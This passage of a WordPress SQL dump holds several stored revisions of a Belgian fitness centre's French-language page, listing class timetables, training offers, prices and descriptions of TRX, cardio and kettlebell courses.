class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 41%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:57', '2013-07-03 17:40:57', '', 11, 'http://www.crosstrainingcenter.be/?p=196', 0, 'revision', '', 0);
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(197, 1, '2013-07-03 17:41:14', '2013-07-03 17:41:14', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 43%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:41:14', '2013-07-03 17:41:14', '', 11, 'http://www.crosstrainingcenter.be/?p=197', 0, 'revision', '', 0),
(199, 1, '2013-07-03 17:49:28', '2013-07-03 17:49:28', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 45%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- 